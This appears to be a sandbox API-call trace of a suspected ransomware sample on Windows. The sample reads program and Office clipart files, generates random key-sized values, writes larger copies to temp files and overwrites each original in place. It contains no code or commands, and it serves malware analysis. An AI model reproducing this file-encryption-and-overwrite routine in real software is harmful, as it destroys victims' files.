	[0268.550] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000324000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000324000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x199, lpOverlapped=0x0) returned 1
	[0268.550] WriteFile (in: hFile=0x19c, lpBuffer=0xc000324000*, nNumberOfBytesToWrite=0x199, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000324000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x199, lpOverlapped=0x0) returned 1
	[0268.552] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000324000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000324000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x0, lpOverlapped=0x0) returned 1
	[0268.552] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\e187b666fe5055afce748d9219d06a2a" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\e187b666fe5055afce748d9219d06a2a")) returned 0
	[0268.552] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\e187b666fe5055afce748d9219d06a2a" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\e187b666fe5055afce748d9219d06a2a")) returned 0
	[0268.552] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\e187b666fe5055afce748d9219d06a2a" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\e187b666fe5055afce748d9219d06a2a")) returned 0x20
	[0268.553] CloseHandle (hObject=0x1ac) returned 1
	[0268.553] CloseHandle (hObject=0x19c) returned 1
	[0268.553] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\e187b666fe5055afce748d9219d06a2a" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\e187b666fe5055afce748d9219d06a2a")) returned 1
	[0268.554] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0268.967] WriteFile (in: hFile=0x0, lpBuffer=0xc0001e0000, nNumberOfBytesToWrite=0x3d, lpNumberOfBytesWritten=0xc0000bbd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000bbd94, lpOverlapped=0x0) returned 0
	[0268.967] WriteFile (in: hFile=0x0, lpBuffer=0xc0001e0000, nNumberOfBytesToWrite=0x8f, lpNumberOfBytesWritten=0xc0000bbd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000bbd94, lpOverlapped=0x0) returned 0
	[0268.967] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x120
	[0268.967] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0000bbbf4 | out: lpMode=0xc0000bbbf4) returned 0
	[0268.967] GetFileType (hFile=0x120) returned 0x1
	[0268.967] GetFileType (hFile=0x120) returned 0x1
	[0268.967] GetFileInformationByHandle (in: hFile=0x120, lpFileInformation=0xc0000bbc44 | out: lpFileInformation=0xc0000bbc44) returned 1
	[0268.968] GetFileInformationByHandleEx (in: hFile=0x120, FileInformationClass=0x9, lpFileInformation=0xc0000bbc28, dwBufferSize=0x8 | out: lpFileInformation=0xc0000bbc28) returned 1
	[0268.968] ReadFile (in: hFile=0x120, lpBuffer=0xc00073a000, nNumberOfBytesToRead=0x88fc5, lpNumberOfBytesRead=0xc0000bbb04, lpOverlapped=0x0 | out: lpBuffer=0xc00073a000*, lpNumberOfBytesRead=0xc0000bbb04*=0x88dc5, lpOverlapped=0x0) returned 1
	[0270.461] SetEvent (hEvent=0x124) returned 1
	[0270.461] ReadFile (in: hFile=0x120, lpBuffer=0xc0007c2dc5, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0000bbb04, lpOverlapped=0x0 | out: lpBuffer=0xc0007c2dc5*, lpNumberOfBytesRead=0xc0000bbb04*=0x0, lpOverlapped=0x0) returned 1
	[0270.461] CloseHandle (hObject=0x120) returned 1
	[0270.461] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0000c0080 | out: pbBuffer=0xc0000c0080) returned 1
	[0270.461] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00028c0a0 | out: pbBuffer=0xc00028c0a0) returned 1
	[0270.461] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0002a8001 | out: pbBuffer=0xc0002a8001) returned 1
	[0270.463] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\15d0dfeaf6cf369c178c9e5ec4360746" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\15d0dfeaf6cf369c178c9e5ec4360746"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0270.463] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0000bbc04 | out: lpMode=0xc0000bbc04) returned 0
	[0270.463] GetFileType (hFile=0x120) returned 0x1
	[0270.463] WriteFile (in: hFile=0x120, lpBuffer=0xc000426000*, nNumberOfBytesToWrite=0x88ec5, lpNumberOfBytesWritten=0xc0000bbbec, lpOverlapped=0x0 | out: lpBuffer=0xc000426000*, lpNumberOfBytesWritten=0xc0000bbbec*=0x88ec5, lpOverlapped=0x0) returned 1
	[0270.474] CloseHandle (hObject=0x120) returned 1
	[0270.487] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0270.493] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0000bbd74 | out: lpMode=0xc0000bbd74) returned 0
	[0270.493] GetFileType (hFile=0x120) returned 0x1
	[0270.493] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\15d0dfeaf6cf369c178c9e5ec4360746" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\15d0dfeaf6cf369c178c9e5ec4360746"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1b0
	[0270.493] GetConsoleMode (in: hConsoleHandle=0x1b0, lpMode=0xc0000bbd74 | out: lpMode=0xc0000bbd74) returned 0
	[0270.493] GetFileType (hFile=0x1b0) returned 0x1
	[0270.493] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000054000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000054000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0270.493] WriteFile (in: hFile=0x120, lpBuffer=0xc000054000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000054000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0270.494] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000054000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000054000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0270.494] WriteFile (in: hFile=0x120, lpBuffer=0xc000054000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000054000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0270.495] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000054000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000054000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0270.495] WriteFile (in: hFile=0x120, lpBuffer=0xc000054000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000054000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0270.496] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000054000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000054000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0270.496] WriteFile (in: hFile=0x120, lpBuffer=0xc000054000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000054000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0270.496] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000054000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000054000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0270.496] WriteFile (in: hFile=0x120, lpBuffer=0xc000054000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000054000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0270.497] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000054000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000054000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0270.497] WriteFile (in: hFile=0x120, lpBuffer=0xc000054000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000054000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0270.497] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000054000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000054000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0270.497] WriteFile (in: hFile=0x120, lpBuffer=0xc000054000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000054000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0270.498] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000054000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000054000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0270.498] WriteFile (in: hFile=0x120, lpBuffer=0xc000054000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000054000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0270.498] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000054000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000054000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0270.498] WriteFile (in: hFile=0x120, lpBuffer=0xc000054000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000054000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0270.500] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000054000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000054000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0270.500] WriteFile (in: hFile=0x120, lpBuffer=0xc000054000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000054000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0270.500] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000054000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000054000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0270.500] WriteFile (in: hFile=0x120, lpBuffer=0xc000054000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000054000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0270.501] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000054000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000054000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0270.501] WriteFile (in: hFile=0x120, lpBuffer=0xc000054000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000054000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0270.501] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000054000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000054000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0270.501] WriteFile (in: hFile=0x120, lpBuffer=0xc000054000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000054000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0270.502] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000054000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000054000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0270.502] WriteFile (in: hFile=0x120, lpBuffer=0xc000054000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000054000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0270.502] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000054000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000054000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0270.502] WriteFile (in: hFile=0x120, lpBuffer=0xc000054000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000054000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0270.503] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000054000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000054000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0270.503] WriteFile (in: hFile=0x120, lpBuffer=0xc000054000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000054000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0270.504] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000054000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000054000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0270.504] WriteFile (in: hFile=0x120, lpBuffer=0xc000054000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000054000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0270.585] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000054000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000054000*, lpNumberOfBytesRead=0xc0000bbbd4*=0xec5, lpOverlapped=0x0) returned 1
	[0270.586] WriteFile (in: hFile=0x120, lpBuffer=0xc000054000*, nNumberOfBytesToWrite=0xec5, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000054000*, lpNumberOfBytesWritten=0xc0000bbb74*=0xec5, lpOverlapped=0x0) returned 1
	[0270.586] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000054000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000054000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x0, lpOverlapped=0x0) returned 1
	[0270.586] VirtualAlloc (lpAddress=0xc00029a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00029a000
	[0270.587] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\15d0dfeaf6cf369c178c9e5ec4360746" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\15d0dfeaf6cf369c178c9e5ec4360746")) returned 0
	[0270.587] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\15d0dfeaf6cf369c178c9e5ec4360746" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\15d0dfeaf6cf369c178c9e5ec4360746")) returned 0
	[0270.587] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\15d0dfeaf6cf369c178c9e5ec4360746" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\15d0dfeaf6cf369c178c9e5ec4360746")) returned 0x20
	[0270.587] CloseHandle (hObject=0x1b0) returned 1
	[0270.587] CloseHandle (hObject=0x120) returned 1
	[0270.603] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\15d0dfeaf6cf369c178c9e5ec4360746" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\15d0dfeaf6cf369c178c9e5ec4360746")) returned 1
	[0270.611] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0277.638] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0277.854] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0278.111] SetEvent (hEvent=0x190) returned 1
	[0278.111] SetEvent (hEvent=0x1a0) returned 1
	[0278.111] VirtualFree (lpAddress=0xc006f14000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0278.111] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0278.122] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0278.164] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0278.322] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0278.580] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0278.800] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0278.941] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0279.101] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0279.190] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0279.263] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e000, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc000211d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000211d94, lpOverlapped=0x0) returned 0
	[0279.263] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e000, nNumberOfBytesToWrite=0xa5, lpNumberOfBytesWritten=0xc000211d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000211d94, lpOverlapped=0x0) returned 0
	[0279.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x120
	[0279.263] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc000211bf4 | out: lpMode=0xc000211bf4) returned 0
	[0279.264] GetFileType (hFile=0x120) returned 0x1
	[0279.264] GetFileType (hFile=0x120) returned 0x1
	[0279.264] GetFileInformationByHandle (in: hFile=0x120, lpFileInformation=0xc000211c44 | out: lpFileInformation=0xc000211c44) returned 1
	[0279.264] GetFileInformationByHandleEx (in: hFile=0x120, FileInformationClass=0x9, lpFileInformation=0xc000211c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000211c28) returned 1
	[0279.264] ReadFile (in: hFile=0x120, lpBuffer=0xc0000b8000, nNumberOfBytesToRead=0x3c19, lpNumberOfBytesRead=0xc000211b04, lpOverlapped=0x0 | out: lpBuffer=0xc0000b8000*, lpNumberOfBytesRead=0xc000211b04*=0x3a19, lpOverlapped=0x0) returned 1
	[0279.292] ReadFile (in: hFile=0x120, lpBuffer=0xc0000bba19, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000211b04, lpOverlapped=0x0 | out: lpBuffer=0xc0000bba19*, lpNumberOfBytesRead=0xc000211b04*=0x0, lpOverlapped=0x0) returned 1
	[0279.292] CloseHandle (hObject=0x120) returned 1
	[0279.292] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000092080 | out: pbBuffer=0xc000092080) returned 1
	[0279.292] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00028d1e0 | out: pbBuffer=0xc00028d1e0) returned 1
	[0279.293] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0002a8001 | out: pbBuffer=0xc0002a8001) returned 1
	[0279.293] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\6471364c7276dc64b51c88925668eb62" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\6471364c7276dc64b51c88925668eb62"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0279.293] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0001e5c04 | out: lpMode=0xc0001e5c04) returned 0
	[0279.293] GetFileType (hFile=0x120) returned 0x1
	[0279.293] WriteFile (in: hFile=0x120, lpBuffer=0xc000100000*, nNumberOfBytesToWrite=0x3b19, lpNumberOfBytesWritten=0xc0001e5bec, lpOverlapped=0x0 | out: lpBuffer=0xc000100000*, lpNumberOfBytesWritten=0xc0001e5bec*=0x3b19, lpOverlapped=0x0) returned 1
	[0279.296] CloseHandle (hObject=0x120) returned 1
	[0279.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0279.300] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0001e5d74 | out: lpMode=0xc0001e5d74) returned 0
	[0279.300] GetFileType (hFile=0x120) returned 0x1
	[0279.300] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\6471364c7276dc64b51c88925668eb62" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\6471364c7276dc64b51c88925668eb62"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1b0
	[0279.300] GetConsoleMode (in: hConsoleHandle=0x1b0, lpMode=0xc0001e5d74 | out: lpMode=0xc0001e5d74) returned 0
	[0279.300] GetFileType (hFile=0x1b0) returned 0x1
	[0279.300] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000138000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000138000*, lpNumberOfBytesRead=0xc0001e5bd4*=0x3b19, lpOverlapped=0x0) returned 1
	[0279.300] WriteFile (in: hFile=0x120, lpBuffer=0xc000138000*, nNumberOfBytesToWrite=0x3b19, lpNumberOfBytesWritten=0xc0001e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc000138000*, lpNumberOfBytesWritten=0xc0001e5b74*=0x3b19, lpOverlapped=0x0) returned 1
	[0279.303] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000138000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000138000*, lpNumberOfBytesRead=0xc0001e5bd4*=0x0, lpOverlapped=0x0) returned 1
	[0279.303] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\6471364c7276dc64b51c88925668eb62" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\6471364c7276dc64b51c88925668eb62")) returned 0
	[0279.303] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\6471364c7276dc64b51c88925668eb62" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\6471364c7276dc64b51c88925668eb62")) returned 0
	[0279.303] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\6471364c7276dc64b51c88925668eb62" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\6471364c7276dc64b51c88925668eb62")) returned 0x20
	[0279.303] CloseHandle (hObject=0x1b0) returned 1
	[0279.303] CloseHandle (hObject=0x120) returned 1
	[0279.304] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\6471364c7276dc64b51c88925668eb62" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\6471364c7276dc64b51c88925668eb62")) returned 1
	[0279.306] VirtualFree (lpAddress=0xc006efe000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0279.307] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb58a9e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb58a9e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcb3)) returned 1
	[0279.307] WriteFile (in: hFile=0x0, lpBuffer=0xc000140000, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
